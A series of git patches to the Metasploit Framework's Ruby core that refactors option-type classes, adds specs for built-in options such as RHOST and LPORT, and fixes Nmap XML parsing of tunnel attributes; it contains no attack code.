@@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# File system path option. +# +### +class OptPath < OptBase + def type + return 'path' + end + + # Generally, 'value' should be a file that exists. + def valid?(value) + return false if empty_required_value?(value) + if value and !value.empty? + if value =~ /^memory:\s*([0-9]+)/i + return false unless check_memory_location($1) + else + unless File.exists?(value) + return false + end + end + end + return super + end + + # The AuthBrute mixin can take a memory address as well -- + # currently, no other OptFile can make use of these objects. + # TODO: Implement memory:xxx to be more generally useful so + # the validator on OptFile isn't lying for non-AuthBrute. + def check_memory_location(id) + return false unless self.class.const_defined?(:ObjectSpace) + obj = ObjectSpace._id2ref(id.to_i) rescue nil + return false unless obj.respond_to? :acts_as_file? + return false unless obj.acts_as_file? # redundant? + return !!obj + end + +end + +end diff --git a/lib/msf/core/opt_port.rb b/lib/msf/core/opt_port.rb new file mode 100644 index 0000000000..295ae04538 --- /dev/null +++ b/lib/msf/core/opt_port.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Network port option. +# +### +class OptPort < OptBase + def type + return 'port' + end + + def normalize(value) + value.to_i + end + + def valid?(value) + return false if empty_required_value?(value) + + if ((value != nil and value.to_s.empty? == false) and + ((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535))) + return false + end + + return super + end +end + +end diff --git a/lib/msf/core/opt_raw.rb b/lib/msf/core/opt_raw.rb new file mode 100644 index 0000000000..7da13693d9 --- /dev/null +++ b/lib/msf/core/opt_raw.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Raw, arbitrary data option. +# +### +class OptRaw < OptBase + def type + return 'raw' + end + + def normalize(value) + if (value =~ /^file:(.*)/) + path = $1 + begin + value = File.read(path) + rescue ::Errno::ENOENT, ::Errno::EISDIR + value = nil + end + end + value + end + + def valid?(value=self.value) + value = normalize(value) + return false if empty_required_value?(value) + return super + end +end + +end diff --git a/lib/msf/core/opt_regexp.rb b/lib/msf/core/opt_regexp.rb new file mode 100644 index 0000000000..d7056dd63b --- /dev/null +++ b/lib/msf/core/opt_regexp.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Regexp option +# +### +class OptRegexp < OptBase + def type + return 'regexp' + end + + def valid?(value) + unless super + return false + end + return true if (not required? and value.nil?) + + begin + Regexp.compile(value) + + return true + rescue RegexpError, TypeError + return false + end + end + + def normalize(value) + return nil if value.nil? + return Regexp.compile(value) + end + + def display_value(value) + if value.kind_of?(Regexp) + return value.source + elsif value.kind_of?(String) + return display_value(normalize(value)) + end + + return super + end +end + +end diff --git a/lib/msf/core/opt_string.rb b/lib/msf/core/opt_string.rb new file mode 100644 index 0000000000..88818cb036 --- /dev/null +++ b/lib/msf/core/opt_string.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Mult-byte character string option. +# +### +class OptString < OptBase + def type + return 'string' + end + + def normalize(value) + if (value =~ /^file:(.*)/) + path = $1 + begin + value = File.read(path) + rescue ::Errno::ENOENT, ::Errno::EISDIR + value = nil + end + end + value + end + + def valid?(value=self.value) + value = normalize(value) + return false if empty_required_value?(value) + return super + end +end + +end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 5078d4b636..99e82b40a8 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -1,838 +1,259 @@ # -*- coding: binary -*- -require 'resolv' -require 'msf/core' -require 'rex/socket' module Msf + require 'msf/core/opt_base' -### -# -# The base class for all options. -# -### -class OptBase + ### + # + # The options purpose in life is to associate named options + # with arbitrary values at the most simplistic level. Each + # module contains a OptionContainer that is used to hold the + # various options that the module depends on. Example of options + # that are stored in the OptionContainer are rhost and rport for + # payloads or exploits that need to connect to a host and + # port, for instance. + # + ### + class OptionContainer < Hash - # - # Initializes a named option with the supplied attribute array. - # The array is composed of three values. - # - # attrs[0] = required (boolean type) - # attrs[1] = description (string) - # attrs[2] = default value - # attrs[3] = possible enum values - # attrs[4] = Regex to validate the option - # - def initialize(in_name, attrs = []) - self.name = in_name - self.advanced = false - self.evasion = false - self.required = attrs[0] || false - self.desc = attrs[1] - self.default = attrs[2] - self.enums = [ *(attrs[3]) ].map { |x| x.to_s } - regex_temp = attrs[4] || nil - if regex_temp - # convert to string - regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp - # remove start and end character, they will be added later - regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '') - # Add start and end marker to match the whole regex - regex_temp = "^#{regex_temp}$" + # + # Merges in the supplied options and converts them to a OptBase + # as necessary. + # + def initialize(opts = {}) + self.sorted = [] + + add_options(opts) + end + + # + # Return the value associated with the supplied name. + # + def [](name) + return get(name) + end + + # + # Return the option associated with the supplied name. + # + def get(name) begin - Regexp.compile(regex_temp) - self.regex = regex_temp - rescue RegexpError, TypeError => e - raise("Invalid Regex #{regex_temp}: #{e}") - end - end - end - - # - # Returns true if this is a required option. - # - def required? - return required - end - - # - # Returns true if this is an advanced option. - # - def advanced? - return advanced - end - - # - # Returns true if this is an evasion option. - # - def evasion? - return evasion - end - - # - # Returns true if the supplied type is equivalent to this option's type. - # - def type?(in_type) - return (type == in_type) - end - - # - # If it's required and the value is nil or empty, then it's not valid. - # - def valid?(value) - if required? - # required variable not set - return false if (value == nil or value.to_s.empty?) - end - if regex - if value.match(regex) - return true - else - return false - end - end - return true - end - - # - # Returns true if the value supplied is nil and it's required to be - # a valid value - # - def empty_required_value?(value) - return (required? and value.nil?) - end - - # - # Normalizes the supplied value to conform with the type that the option is - # conveying. - # - def normalize(value) - value - end - - # - # Returns a string representing a user-friendly display of the chosen value - # - def display_value(value) - value.to_s - end - - # - # The name of the option. - # - attr_reader :name - # - # Whether or not the option is required. - # - attr_reader :required - # - # The description of the option. - # - attr_reader :desc - # - # The default value of the option. - # - attr_reader :default - # - # Storing the name of the option. - # - attr_writer :name - # - # Whether or not this is an advanced option. - # - attr_accessor :advanced - # - # Whether or not this is an evasion option. - # - attr_accessor :evasion - # - # The module or entity that owns this option. - # - attr_accessor :owner - # - # The list of potential valid values - # - attr_accessor :enums - # - # A optional regex to validate the option value - # - attr_accessor :regex - -protected - - attr_writer :required, :desc, :default # :nodoc: -end - -### -# -# Core option types. The core supported option types are: -# -# OptString - Multi-byte character string -# OptRaw - Multi-byte raw string -# OptBool - Boolean true or false indication -# OptPort - TCP/UDP service port -# OptAddress - IP address or hostname -# OptPath - Path name on disk or an Object ID -# OptInt - An integer value -# OptEnum - Select from a set of valid values -# OptAddressRange - A subnet or range of addresses -# OptSession - A session identifier -# OptRegexp - Valid Ruby regular expression -# -### - -### -# -# Mult-byte character string option. -# -### -class OptString < OptBase - def type - return 'string' - end - - def normalize(value) - if (value =~ /^file:(.*)/) - path = $1 - begin - value = File.read(path) - rescue ::Errno::ENOENT, ::Errno::EISDIR - value = nil - end - end - value - end - - def valid?(value=self.value) - value = normalize(value) - return false if empty_required_value?(value) - return super - end -end - -### -# -# Raw, arbitrary data option. -# -### -class OptRaw < OptBase - def type - return 'raw' - end - - def normalize(value) - if (value =~ /^file:(.*)/) - path = $1 - begin - value = File.read(path) - rescue ::Errno::ENOENT, ::Errno::EISDIR - value = nil - end - end - value - end - - def valid?(value=self.value) - value = normalize(value) - return false if empty_required_value?(value) - return super - end -end - -### -# -# Boolean option. -# -### -class OptBool < OptBase - - TrueRegex = /^(y|yes|t|1|true)$/i - - def type - return 'bool' - end - - def valid?(value) - return false if empty_required_value?(value) - - if ((value != nil and - (value.to_s.empty? == false) and - (value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil))) - return false - end - - true - end - - def normalize(value) - if(value.nil? or value.to_s.match(TrueRegex).nil?) - false - else - true - end - end - - def is_true?(value) - return normalize(value) - end - - def is_false?(value) - return !is_true?(value) - end - -end - -### -# -# Enum option. -# -### -class OptEnum < OptBase - - def type - return 'enum' - end - - def valid?(value=self.value) - return false if empty_required_value?(value) - return true if value.nil? and !required? - - (value and self.enums.include?(value.to_s)) - end - - def normalize(value=self.value) - return nil if not self.valid?(value) - return value.to_s - end - - def desc=(value) - self.desc_string = value - - self.desc - end - - def desc - if self.enums - str = self.enums.join(', ') - end - "#{self.desc_string || ''} (accepted: #{str})" - end - - -protected - - attr_accessor :desc_string # :nodoc: - -end - -### -# -# Network port option. -# -### -class OptPort < OptBase - def type - return 'port' - end - - def normalize(value) - value.to_i - end - - def valid?(value) - return false if empty_required_value?(value) - - if ((value != nil and value.to_s.empty? == false) and - ((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535))) - return false - end - - return super - end -end - -### -# -# Network address option. -# -### -class OptAddress < OptBase - def type - return 'address' - end - - def valid?(value) - return false if empty_required_value?(value) - return false unless value.kind_of?(String) or value.kind_of?(NilClass) - - if (value != nil and value.empty? == false) - begin - getaddr_result = ::Rex::Socket.getaddress(value, true) - # Covers a wierdcase where an incomplete ipv4 address will have it's - # missing octets filled in with 0's. (e.g 192.168 become 192.0.0.168) - # which does not feel like a legit behaviour - if value =~ /^\d{1,3}(\.\d{1,3}){1,3}$/ - return false unless value =~ Rex::Socket::MATCH_IPV4 - end + return fetch(name) rescue - return false end end - return super - end -end + # + # Returns whether or not the container has any options, + # excluding advanced (and evasions). + # + def has_options? + each_option { |name, opt| + return true if (opt.advanced? == false) -### -# -# Network address range option. -# -### -class OptAddressRange < OptBase - def type - return 'addressrange' - end - - def normalize(value) - return nil unless value.kind_of?(String) - if (value =~ /^file:(.*)/) - path = $1 - return false if not File.exists?(path) or File.directory?(path) - return File.readlines(path).map{ |s| s.strip}.join(" ") - elsif (value =~ /^rand:(.*)/) - count = $1.to_i - return false if count < 1 - ret = '' - count.times { - ret << " " if not ret.empty? - ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".") } - return ret - end - return value - end - def valid?(value) - return false if empty_required_value?(value) - return false unless value.kind_of?(String) or value.kind_of?(NilClass) - - if (value != nil and value.empty? == false) - normalized = normalize(value) - return false if normalized.nil? - walker = Rex::Socket::RangeWalker.new(normalized) - if (not walker or not walker.valid?) - return false - end + return false end - return super - end -end + # + # Returns whether or not the container has any advanced + # options. + # + def has_advanced_options? + each_option { |name, opt| + return true if (opt.advanced? == true) + } -### -# -# File system path option. -# -### -class OptPath < OptBase - def type - return 'path' - end + return false + end - # Generally, 'value' should be a file that exists. - def valid?(value) - return false if empty_required_value?(value) - if value and !value.empty? - if value =~ /^memory:\s*([0-9]+)/i - return false unless check_memory_location($1) + # + # Returns whether or not the container has any evasion + # options. + # + def has_evasion_options? + each_option { |name, opt| + return true if (opt.evasion? == true) + } + + return false + end + + # + # Removes an option. + # + def remove_option(name) + delete(name) + sorted.each_with_index { |e, idx| + sorted[idx] = nil if (e[0] == name) + } + sorted.delete(nil) + end + + # + # Adds one or more options. + # + def add_options(opts, owner = nil, advanced = false, evasion = false) + return false if (opts == nil) + + if (opts.kind_of?(Array)) + add_options_array(opts, owner, advanced, evasion) else - unless File.exists?(value) - return false - end + add_options_hash(opts, owner, advanced, evasion) end end - return super - end - # The AuthBrute mixin can take a memory address as well -- - # currently, no other OptFile can make use of these objects. - # TODO: Implement memory:xxx to be more generally useful so - # the validator on OptFile isn't lying for non-AuthBrute. - def check_memory_location(id) - return false unless self.class.const_defined?(:ObjectSpace) - obj = ObjectSpace._id2ref(id.to_i) rescue nil - return false unless obj.respond_to? :acts_as_file? - return false unless obj.acts_as_file? # redundant? - return !!obj - end - -end - -### -# -# Integer option. -# -### -class OptInt < OptBase - def type - return 'integer' - end - - def normalize(value) - if (value.to_s.match(/^0x[a-fA-F\d]+$/)) - value.to_i(16) - else - value.to_i - end - end - - def valid?(value) - return super if !required? and value.to_s.empty? - return false if empty_required_value?(value) - - if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) - return false + # + # Add options from a hash of names. + # + def add_options_hash(opts, owner = nil, advanced = false, evasion = false) + opts.each_pair { |name, opt| + add_option(opt, name, owner, advanced, evasion) + } end - return super - end -end - -### -# -# Regexp option -# -### -class OptRegexp < OptBase - def type - return 'regexp' - end - - def valid?(value) - unless super - return false + # + # Add options from an array of option instances or arrays. + # + def add_options_array(opts, owner = nil, advanced = false, evasion = false) + opts.each { |opt| + add_option(opt, nil, owner, advanced, evasion) + } end - return true if (not required? and value.nil?) - begin - Regexp.compile(value) + # + # Adds an option. + # + def add_option(option, name = nil, owner = nil, advanced = false, evasion = false) + if (option.kind_of?(Array)) + option = option.shift.new(name, option) + elsif (!option.kind_of?(OptBase)) + raise ArgumentError, + "The option named #{name} did not come in a compatible format.", + caller + end + + option.advanced = advanced + option.evasion = evasion + option.owner = owner + + self.store(option.name, option) + + # Re-calculate the sorted list + self.sorted = self.sort + end + + # + # Alias to add advanced options that sets the proper state flag. + # + def add_advanced_options(opts, owner = nil) + return false if (opts == nil) + + add_options(opts, owner, true) + end + + # + # Alias to add evasion options that sets the proper state flag. + # + def add_evasion_options(opts, owner = nil) + return false if (opts == nil) + + add_options(opts, owner, false, true) + end + + # + # Make sures that each of the options has a value of a compatible + # format and that all the required options are set. + # + def validate(datastore) + errors = [] + + each_pair { |name, option| + if (!option.valid?(datastore[name])) + errors << name + # If the option is valid, normalize its format to the correct type. + elsif ((val = option.normalize(datastore[name])) != nil) + # This *will* result in a module that previously used the + # global datastore to have its local datastore set, which + # means that changing the global datastore and re-running + # the same module will now use the newly-normalized local + # datastore value instead. This is mostly mitigated by + # forcing a clone through mod.replicant, but can break + # things in corner cases. + datastore[name] = val + end + } + + if (errors.empty? == false) + raise OptionValidateError.new(errors), + "One or more options failed to validate", caller + end return true - rescue RegexpError, TypeError - return false - end - end - - def normalize(value) - return nil if value.nil? - return Regexp.compile(value) - end - - def display_value(value) - if value.kind_of?(Regexp) - return value.source - elsif value.kind_of?(String) - return display_value(normalize(value)) end - return super - end -end + # + # Creates string of options that were used from the datastore in VAR=VAL + # format separated by commas. + # + def options_used_to_s(datastore) + used = '' -### -# -# The options purpose in life is to associate named options -# with arbitrary values at the most simplistic level. Each -# module contains a OptionContainer that is used to hold the -# various options that the module depends on. Example of options -# that are stored in the OptionContainer are rhost and rport for -# payloads or exploits that need to connect to a host and -# port, for instance. -# -### -class OptionContainer < Hash + each_pair { |name, option| + next if (datastore[name] == nil) - # - # Merges in the supplied options and converts them to a OptBase - # as necessary. - # - def initialize(opts = {}) - self.sorted = [] + used += ", " if (used.length > 0) + used += "#{name}=#{datastore[name]}" + } - add_options(opts) - end - - # - # Return the value associated with the supplied name. - # - def [](name) - return get(name) - end - - # - # Return the option associated with the supplied name. - # - def get(name) - begin - return fetch(name) - rescue - end - end - - # - # Returns whether or not the container has any options, - # excluding advanced (and evasions). - # - def has_options? - each_option { |name, opt| - return true if (opt.advanced? == false) - - } - - return false - end - - # - # Returns whether or not the container has any advanced - # options. - # - def has_advanced_options? - each_option { |name, opt| - return true if (opt.advanced? == true) - } - - return false - end - - # - # Returns whether or not the container has any evasion - # options. - # - def has_evasion_options? - each_option { |name, opt| - return true if (opt.evasion? == true) - } - - return false - end - - # - # Removes an option. - # - def remove_option(name) - delete(name) - sorted.each_with_index { |e, idx| - sorted[idx] = nil if (e[0] == name) - } - sorted.delete(nil) - end - - # - # Adds one or more options. - # - def add_options(opts, owner = nil, advanced = false, evasion = false) - return false if (opts == nil) - - if (opts.kind_of?(Array)) - add_options_array(opts, owner, advanced, evasion) - else - add_options_hash(opts, owner, advanced, evasion) - end - end - - # - # Add options from a hash of names. - # - def add_options_hash(opts, owner = nil, advanced = false, evasion = false) - opts.each_pair { |name, opt| - add_option(opt, name, owner, advanced, evasion) - } - end - - # - # Add options from an array of option instances or arrays. - # - def add_options_array(opts, owner = nil, advanced = false, evasion = false) - opts.each { |opt| - add_option(opt, nil, owner, advanced, evasion) - } - end - - # - # Adds an option. - # - def add_option(option, name = nil, owner = nil, advanced = false, evasion = false) - if (option.kind_of?(Array)) - option = option.shift.new(name, option) - elsif (!option.kind_of?(OptBase)) - raise ArgumentError, - "The option named #{name} did not come in a compatible format.", - caller + return used end - option.advanced = advanced - option.evasion = evasion - option.owner = owner + # + # Enumerates each option name + # + def each_option(&block) + each_pair(&block) + end - self.store(option.name, option) - - # Re-calculate the sorted list - self.sorted = self.sort - end - - # - # Alias to add advanced options that sets the proper state flag. - # - def add_advanced_options(opts, owner = nil) - return false if (opts == nil) - - add_options(opts, owner, true) - end - - # - # Alias to add evasion options that sets the proper state flag. - # - def add_evasion_options(opts, owner = nil) - return false if (opts == nil) - - add_options(opts, owner, false, true) - end - - # - # Make sure that each of the options has a value of a compatible - # format and that all the required options are set. - # - def validate(datastore) - errors = [] - - each_pair { |name, option| - if (!option.valid?(datastore[name])) - errors << name - # If the option is valid, normalize its format to the correct type. - elsif ((val = option.normalize(datastore[name])) != nil) - # This *will* result in a module that previously used the - # global datastore to have its local datastore set, which - # means that changing the global datastore and re-running - # the same module will now use the newly-normalized local - # datastore value instead. This is mostly mitigated by - # forcing a clone through mod.replicant, but can break - # things in corner cases. - datastore[name] = val + # + # Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+ + # "can't add a new key into hash during iteration" + # + def each(&block) + list = [] + self.keys.sort.each do |sidx| + list << [sidx, self[sidx]] end - } - - if (errors.empty? == false) - raise OptionValidateError.new(errors), - "One or more options failed to validate", caller + list.each(&block) end - return true - end + # + # Merges the options in this container with another option container and + # returns the sorted results. + # + def merge_sort(other_container) + result = self.dup - # - # Creates string of options that were used from the datastore in VAR=VAL - # format separated by commas. - # - def options_used_to_s(datastore) - used = '' + other_container.each { |name, opt| + if (result.get(name) == nil) + result[name] = opt + end + } - each_pair { |name, option| - next if (datastore[name] == nil) - - used += ", " if (used.length > 0) - used += "#{name}=#{datastore[name]}" - } - - return used - end - - # - # Enumerates each option name - # - def each_option(&block) - each_pair(&block) - end - - # - # Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+ - # "can't add a new key into hash during iteration" - # - def each(&block) - list = [] - self.keys.sort.each do |sidx| - list << [sidx, self[sidx]] + result.sort end - list.each(&block) + + # + # The sorted array of options. + # + attr_reader :sorted + + protected + + attr_writer :sorted # :nodoc: + end - # - # Merges the options in this container with another option container and - # returns the sorted results. - # - def merge_sort(other_container) - result = self.dup - - other_container.each { |name, opt| - if (result.get(name) == nil) - result[name] = opt - end - } - - result.sort - end - - # - # The sorted array of options. - # - attr_reader :sorted - -protected - - attr_writer :sorted # :nodoc: - end - -# -# Builtin framework options with shortcut methods -# -module Opt - -@@builtin_opts = - { - 'RHOST' => [ OptAddress, 'nil', true, '"The target address"' ], - 'RPORT' => [ OptPort, 'nil', true, '"The target port"' ], - 'LHOST' => [ OptAddress, 'nil', true, '"The listen address"' ], - 'LPORT' => [ OptPort, 'nil', true, '"The listen port"' ], - 'CPORT' => [ OptPort, 'nil', false, '"The local client port"' ], - 'CHOST' => [ OptAddress, 'nil', false, '"The local client address"' ], - 'Proxies' => [ OptString, 'nil', 'false', '"A proxy chain of format type:host:port[,type:host:port][...]"'] - } - -# -# Build the builtin_xyz methods on the fly using the type information for each -# of the builtin framework options, such as RHOST. -# -class < Date: Fri, 3 Apr 2015 16:00:04 -0500 Subject: [PATCH 82/92] Make OptionContainer docs a little more useful --- lib/msf/core/opt.rb | 18 ------------------ lib/msf/core/option_container.rb | 28 +++++++++++++++++++--------- 2 files changed, 19 insertions(+), 27 deletions(-) diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 2adf9b117e..b799ccdae0 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -2,24 +2,6 @@ module Msf -### -# -# The core supported option types are: -# -# OptString - Multi-byte character string -# OptRaw - Multi-byte raw string -# OptBool - Boolean true or false indication -# OptPort - TCP/UDP service port -# OptAddress - IP address or hostname -# OptPath - Path name on disk or an Object ID -# OptInt - An integer value -# OptEnum - Select from a set of valid values -# OptAddressRange - A subnet or range of addresses -# OptSession - A session identifier -# OptRegexp - Valid Ruby regular expression -# -### - # # Builtin framework options with shortcut methods # diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 99e82b40a8..f52f7cc909 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -3,17 +3,27 @@ module Msf require 'msf/core/opt_base' - ### # - # The options purpose in life is to associate named options - # with arbitrary values at the most simplistic level. Each - # module contains a OptionContainer that is used to hold the - # various options that the module depends on. Example of options - # that are stored in the OptionContainer are rhost and rport for - # payloads or exploits that need to connect to a host and - # port, for instance. + # The options purpose in life is to associate named options with arbitrary + # values at the most simplistic level. Each {Msf::Module} contains an + # OptionContainer that is used to hold the various options that the module + # depends on. Example of options that are stored in the OptionContainer are + # rhost and rport for payloads or exploits that need to connect to a host + # and port, for instance. + # + # The core supported option types are: + # + # * {OptString} - Multi-byte character string + # * {OptRaw} - Multi-byte raw string + # * {OptBool} - Boolean true or false indication + # * {OptPort} - TCP/UDP service port + # * {OptAddress} - IP address or hostname + # * {OptPath} - Path name on disk or an Object ID + # * {OptInt} - An integer value + # * {OptEnum} - Select from a set of valid values + # * {OptAddressRange} - A subnet or range of addresses + # * {OptRegexp} - Valid Ruby regular expression # - ### class OptionContainer < Hash # From 2a3ed890d20b94a72581461dfcbf3cf41a54f264 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 3 Apr 2015 23:00:48 -0500 Subject: [PATCH 83/92] Add specs for Msf::Opt --- spec/lib/msf/core/opt_spec.rb | 112 ++++++++++++++++++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 spec/lib/msf/core/opt_spec.rb diff --git a/spec/lib/msf/core/opt_spec.rb b/spec/lib/msf/core/opt_spec.rb new file mode 100644 index 0000000000..6f826fb5a7 --- /dev/null +++ b/spec/lib/msf/core/opt_spec.rb @@ -0,0 +1,112 @@ + +describe Msf::Opt do + subject(:opt) { described_class } + + it { is_expected.to respond_to(:CHOST) } + it { is_expected.to respond_to(:CPORT) } + it { is_expected.to respond_to(:LHOST) } + it { is_expected.to respond_to(:LPORT) } + it { is_expected.to respond_to(:Proxies) } + it { is_expected.to respond_to(:RHOST) } + it { is_expected.to respond_to(:RPORT) } + + context 'constants' do + context 'CHOST' do + subject { described_class::CHOST } + it { is_expected.to be_a(Msf::OptAddress) } + end + + context 'CPORT' do + subject { described_class::CPORT } + it { is_expected.to be_a(Msf::OptPort) } + end + + context 'LHOST' do + subject { described_class::LHOST } + it { is_expected.to be_a(Msf::OptAddress) } + end + + context 'LPORT' do + subject { described_class::LPORT } + it { is_expected.to be_a(Msf::OptPort) } + end + + context 'Proxies' do + subject { described_class::Proxies } + it { is_expected.to be_a(Msf::OptString) } + end + + context 'RHOST' do + subject { described_class::RHOST } + it { is_expected.to be_a(Msf::OptAddress) } + end + + context 'RPORT' do + subject { described_class::RPORT } + it { is_expected.to be_a(Msf::OptPort) } + end + + end + + context 'class methods' do + let(:default) { 'foo' } + context 'CHOST()' do + subject { described_class::CHOST(default) } + it { is_expected.to be_a(Msf::OptAddress) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + context 'CPORT()' do + subject { described_class::CPORT(default) } + it { is_expected.to be_a(Msf::OptPort) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + context 'LHOST()' do + subject { described_class::LHOST(default) } + it { is_expected.to be_a(Msf::OptAddress) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + context 'LPORT()' do + subject { described_class::LPORT(default) } + it { is_expected.to be_a(Msf::OptPort) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + context 'Proxies()' do + subject { described_class::Proxies(default) } + it { is_expected.to be_a(Msf::OptString) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + context 'RHOST()' do + subject { described_class::RHOST(default) } + it { is_expected.to be_a(Msf::OptAddress) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + context 'RPORT()' do + subject { described_class::RPORT(default) } + it { is_expected.to be_a(Msf::OptPort) } + specify 'sets default' do + expect(subject.default).to eq(default) + end + end + + end + +end + From da0e7282d5879be6a7a0e26d5a3f54258e21f675 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 3 Apr 2015 23:28:45 -0500 Subject: [PATCH 84/92] Replace some unnecessary eval action. Metaprogramming should be reserved for when you don't know things. Here we're making methods from literal strings, so replace the metaprogramming with much easier to understand regular programming. Also has the benefit that yard can parse it. --- lib/msf/core/opt.rb | 102 +++++++++++++++++++++++++++----------------- 1 file changed, 64 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index b799ccdae0..3df70e099a 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -2,47 +2,73 @@ module Msf -# -# Builtin framework options with shortcut methods -# -module Opt + # + # Builtin framework options with shortcut methods + # + # @example + # register_options( + # [ + # Opt::RHOST, + # Opt::RPORT(21), + # ] + # ) + # register_advanced_options([Opt::Proxies]) + # + module Opt -@@builtin_opts = - { - 'RHOST' => [ Msf::OptAddress, 'nil', true, '"The target address"' ], - 'RPORT' => [ Msf::OptPort, 'nil', true, '"The target port"' ], - 'LHOST' => [ Msf::OptAddress, 'nil', true, '"The listen address"' ], - 'LPORT' => [ Msf::OptPort, 'nil', true, '"The listen port"' ], - 'CPORT' => [ Msf::OptPort, 'nil', false, '"The local client port"' ], - 'CHOST' => [ Msf::OptAddress, 'nil', false, '"The local client address"' ], - 'Proxies' => [ Msf::OptString, 'nil', 'false', '"A proxy chain of format type:host:port[,type:host:port][...]"'] - } + # @return [OptAddress] + def self.CHOST(default=nil, required=false, desc="The local client address") + Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) + end -# -# Build the builtin_xyz methods on the fly using the type information for each -# of the builtin framework options, such as RHOST. -# -class < Date: Thu, 16 Apr 2015 10:57:46 -0500 Subject: [PATCH 85/92] Add require --- spec/lib/msf/core/opt_spec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/spec/lib/msf/core/opt_spec.rb b/spec/lib/msf/core/opt_spec.rb index 6f826fb5a7..4421d9be4f 100644 --- a/spec/lib/msf/core/opt_spec.rb +++ b/spec/lib/msf/core/opt_spec.rb @@ -1,3 +1,4 @@ +require 'msf/core/opt' describe Msf::Opt do subject(:opt) { described_class } From d67f7a21d9ba4e37685bc617474a460387d3baf3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 16 Apr 2015 11:02:01 -0500 Subject: [PATCH 86/92] Move autoloads into OptionContainer This seems like a better place for them to live --- lib/msf/core/opt_base.rb | 13 ------------- lib/msf/core/option_container.rb | 16 +++++++++++++++- 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 63369c3f09..566f53703f 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -5,19 +5,6 @@ require 'rex/socket' module Msf - autoload :Opt, 'msf/core/opt' - - autoload :OptAddress, 'msf/core/opt_address' - autoload :OptAddressRange, 'msf/core/opt_address_range' - autoload :OptBool, 'msf/core/opt_bool' - autoload :OptEnum, 'msf/core/opt_enum' - autoload :OptInt, 'msf/core/opt_int' - autoload :OptPath, 'msf/core/opt_path' - autoload :OptPort, 'msf/core/opt_port' - autoload :OptRaw, 'msf/core/opt_raw' - autoload :OptRegexp, 'msf/core/opt_regexp' - autoload :OptString, 'msf/core/opt_string' - ### # # The base class for all options. diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index f52f7cc909..fced7cf9e3 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -1,7 +1,21 @@ # -*- coding: binary -*- module Msf - require 'msf/core/opt_base' + + autoload :Opt, 'msf/core/opt' + + autoload :OptBase, 'msf/core/opt_base' + + autoload :OptAddress, 'msf/core/opt_address' + autoload :OptAddressRange, 'msf/core/opt_address_range' + autoload :OptBool, 'msf/core/opt_bool' + autoload :OptEnum, 'msf/core/opt_enum' + autoload :OptInt, 'msf/core/opt_int' + autoload :OptPath, 'msf/core/opt_path' + autoload :OptPort, 'msf/core/opt_port' + autoload :OptRaw, 'msf/core/opt_raw' + autoload :OptRegexp, 'msf/core/opt_regexp' + autoload :OptString, 'msf/core/opt_string' # # The options purpose in life is to associate named options with arbitrary From 1a66786d1b2e67937f687e602747f6e7e953f5c2 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 20 Apr 2015 17:04:19 -0500 Subject: [PATCH 87/92] Fix Nmap XML parser for tunnel attribute --- lib/rex/parser/nmap_nokogiri.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/parser/nmap_nokogiri.rb b/lib/rex/parser/nmap_nokogiri.rb index a699cb5aef..2516f67133 100644 --- a/lib/rex/parser/nmap_nokogiri.rb +++ b/lib/rex/parser/nmap_nokogiri.rb @@ -277,6 +277,8 @@ module Rex port_hash[:state] = determine_port_state(v) when "name" port_hash[:name] = v + when "tunnel" + port_hash[:name] = "#{v}/#{port_hash[:name] || 'unknown'}" when "reason" port_hash[:reason] = v when "product" From d894502148a81b7b6c5f39f568e1a719b214f30e Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 20 Apr 2015 17:15:35 -0500 Subject: [PATCH 88/92] Update legacy Nmap XML parser --- lib/msf/core/db_manager/import/nmap.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/db_manager/import/nmap.rb b/lib/msf/core/db_manager/import/nmap.rb index 2be567c395..b8024c5c17 100644 --- a/lib/msf/core/db_manager/import/nmap.rb +++ b/lib/msf/core/db_manager/import/nmap.rb @@ 